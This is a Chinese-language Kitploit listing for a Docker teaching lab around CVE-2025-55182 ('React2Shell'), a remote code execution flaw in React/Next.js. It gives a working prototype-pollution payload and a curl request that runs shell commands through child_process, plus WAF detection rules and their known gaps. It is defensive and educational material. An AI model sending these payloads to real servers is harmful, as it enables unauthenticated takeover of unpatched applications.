Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2025-55182-test-lab-windows — 基于 Docker 的测试实验室,用于 React 19.1.0/Next.js 15.1.0 中的 CVE-2025-55182 (React2Shell) RCE 漏洞。包含漏洞利用脚本、使用 NGINX/ModSecurity 的 WAF 绕过测试,以及打补丁版本对比,用于安全教学。 | Kitploit
工具/GitHubGitHub/fankh/cve-2025-55182-test-lab-windows
漏洞分析漏洞利用Web应用程序漏洞利用WAF绕过CTF渗透测试学习与教育Payload 开发实验室与实践

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
GitHubfankh/cve-2025-55182-test-lab-windows

cve-2025-55182-test-lab-windows

基于 Docker 的测试实验室,用于 React 19.1.0/Next.js 15.1.0 中的 CVE-2025-55182 (React2Shell) RCE 漏洞。包含漏洞利用脚本、使用 NGINX/ModSecurity 的 WAF 绕过测试,以及打补丁版本对比,用于安全教学。

查看仓库
139个月前尚未审核
分享

CVE-2025-55182 (React2Shell) 测试

⚠️ 警告: 包含实际可用的远程代码执行(RCE)漏洞。

📋 目录

  • 概述
  • 漏洞信息
  • 快速开始
  • 实际攻击演示
  • 测试环境
  • WAF防御规则
  • 文件结构
  • 参考资料
  • 法律声明

概述

CVE-2025-55182 (React2Shell) 漏洞测试的容器测试环境。

主要特点

  • ✅ 真实漏洞复现 - React 19.1.0 / Next.js 15.1.0 环境
  • ✅ RCE攻击成功 - 已确认实际命令执行
  • ✅ WAF防御测试 - NGINX及Apache ModSecurity规则配置
  • ✅ 补丁版本对比 - 有漏洞版本 vs 已修补版本测试
  • ✅ 完整Docker环境 - 隔离的容器环境

攻击结果

🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

漏洞信息

CVE-2025-55182 (React2Shell)

CVSS评分: 10.0 (CRITICAL)
影响: 远程代码执行 (RCE)
身份认证要求: 无
攻击向量: 网络

受影响版本

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

已修补版本

  • React: 19.1.2+
  • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

攻击原理

  1. 原型污染 (Prototype Pollution) - 通过 $1:__proto__:then 实现原型污染
  2. Function Constructor 访问 - 通过 Blob 反序列化($B 前缀)访问
  3. 任意代码执行 - 使用攻击者控制的代码创建函数
  4. 系统命令执行 - 通过 child_process 实现 RCE
// 攻击载荷结构
{
  "then": "$1:__proto__:then",           // 污染 Object.prototype.then
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // 触发 Blob 反序列化
  "_response": {
    "_prefix": "恶意代码",               // 要执行的代码
    "_formData": {
      "get": "$1:constructor:constructor"  // 访问 Function constructor
    }
  }
}

快速开始

前置要求

  • Docker Desktop
  • Node.js 20+ (本地测试用,可选)
  • 至少 4GB 内存
  • 2GB 以上空闲磁盘空间

第一步:启动环境

Windows (PowerShell):

PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

第二步:检查状态

.\run-tests.ps1 status

需要等待所有容器达到 healthy 状态(大约需要 1-2 分钟)。

第三步:执行攻击

Windows (PowerShell):

# 方法1:使用 PowerShell 脚本 (推荐)
.\tests\exploit-working.ps1

# 方法2:直接运行 Node.js
node tests\exploit-working.js

### 第四步:查看结果

可以在服务器日志中查看命令执行结果:

```bash
docker compose logs vulnerable-app --tail=20

攻击演示

自动化攻击脚本

exploit-working.js ⭐ 推荐

Windows:

# PowerShell 脚本 (推荐)
.\tests\exploit-working.ps1

# 或直接运行 Node.js
node tests\exploit-working.js

执行内容:

  • ✅ 执行任意 shell 命令
  • ✅ 在服务器日志中捕获命令输出
  • ✅ 自动测试多条命令
  • ✅ 提供详细的漏洞报告

测试的命令:

  • whoami - 当前用户 (root)
  • hostname - 容器主机名
  • pwd - 工作目录 (/app)
  • id - 完整用户信息
  • uname -a - 系统信息
  • node --version - Node.js 版本

手动攻击

使用 curl 进行直接攻击

# 创建载荷文件
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# 发送攻击
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# 确认日志执行
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

自定义命令执行

可以修改攻击脚本以执行自定义命令:

// 在 exploit-working.js 文件中:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: '应用目录列表' },
  { name: 'env', cmd: 'printenv', desc: '环境变量输出' }
]

测试环境

Docker 容器

端口服务React 版本用途WAF 状态
3000vulnerable-app19.1.0有漏洞 - CVE-2025-55182 测试❌ 无保护
3001patched-app19.1.2安全 - 验证补丁效果✅ 已修补
8080nginx → vulnerable19.1.0WAF 测试 (NGINX)⚠️ 有限 (未检查 body)
8081apache → vulnerable19.1.0WAF 测试 (ModSecurity)⚠️ 有限 (405 响应)
8082nginx → patched19.1.2双重保护测试✅ 已修补

应用环境

  • 框架: Next.js 15.1.0 (App Router)
  • React 版本: 19.1.0 (有漏洞)
  • Node.js: 20.19.6

测试场景

场景 1:攻击有漏洞版本

# 执行有效攻击
node tests/exploit-working.js

# 预期结果:命令执行成功
# 输出:用户信息、系统详细信息等

场景 2:测试已修补版本

Windows (PowerShell):

# 使用 PowerShell 脚本
.\tests\exploit-working.ps1 -Port 3001

预期结果: 攻击失败 (React 19.1.2 阻止了攻击)

场景 3:测试 WAF 拦截

Windows (PowerShell):

# 通过 NGINX WAF 尝试攻击
.\tests\exploit-working.ps1 -Port 8080

预期结果: 被 WAF 规则拦截


WAF 防御规则

NGINX 防御规则

位置: nginx/nginx.conf

检测模式:

  1. 原型污染 (Prototype Pollution) - __proto__, constructor:constructor
  2. Flight 协议滥用 - $X:__proto__, $B 引用
  3. Gadget Chain - child_process, execSync, require()
  4. URL 编码绕过 - %5f%5fproto%5f%5f
  5. 可疑头部 - Next-Action: #constructor

拦截动作:

HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

Apache ModSecurity 规则

位置: apache/modsecurity-rules.conf

规则 ID 范围: 100001-100017

主要规则:

  • 100001: 检测 __proto__
  • 100002: Constructor chain 访问
  • 100003-100004: Flight 协议滥用
  • 100006-100007: Gadget chain 模式
  • 100008-100011: RCE 尝试 (child_process, exec, spawn, require)
  • 100015: 可疑的 Next-Action 头部
  • 100017: 基于异常分数拦截

WAF 测试

# NGINX 拦截测试
curl -X POST http://localhost:8080/ \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": true}}'

# 预期响应: HTTP 403

# ModSecurity 拦截测试
curl -X POST http://localhost:8081/ \
  -H "Next-Action: test#constructor" \
  -d '{"data": "test"}'

# 预期响应: HTTP 403

WAF 日志查看

# NGINX 安全日志
docker compose exec nginx tail -f /var/log/nginx/security.log

# Apache ModSecurity 审计日志
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log

⚠️ WAF 限制

重要: 当前 WAF 配置存在以下限制:

NGINX (端口 8080)

  • ❌ 不检查 Request body
  • NGINX 默认只检查 URL、查询参数和头部
  • Exploit 载荷包含在 multipart/form-data body 中,因此无法检测
  • 解决方案: 需要 lua-nginx-module 或单独的 WAF 解决方案

Apache ModSecurity (端口 8081)

  • ⚠️ Next.js 拒绝 POST 请求 (405 Method Not Allowed)
  • ModSecurity 已启用且可以检查 body
  • 但是需要 Next-Action 头部,仅靠此头部不足以提供充分保护
  • 当前状态: WAF 在检查 body 之前返回 405 响应

实际攻击防御:

  • ✅ 最有效的方法: 将 React/Next.js 升级到已修补版本 (端口 3001, 8082)
  • ⚠️ WAF 仅提供部分保护: 对于需要检查 body 的攻击效果有限

文件结构

下载工具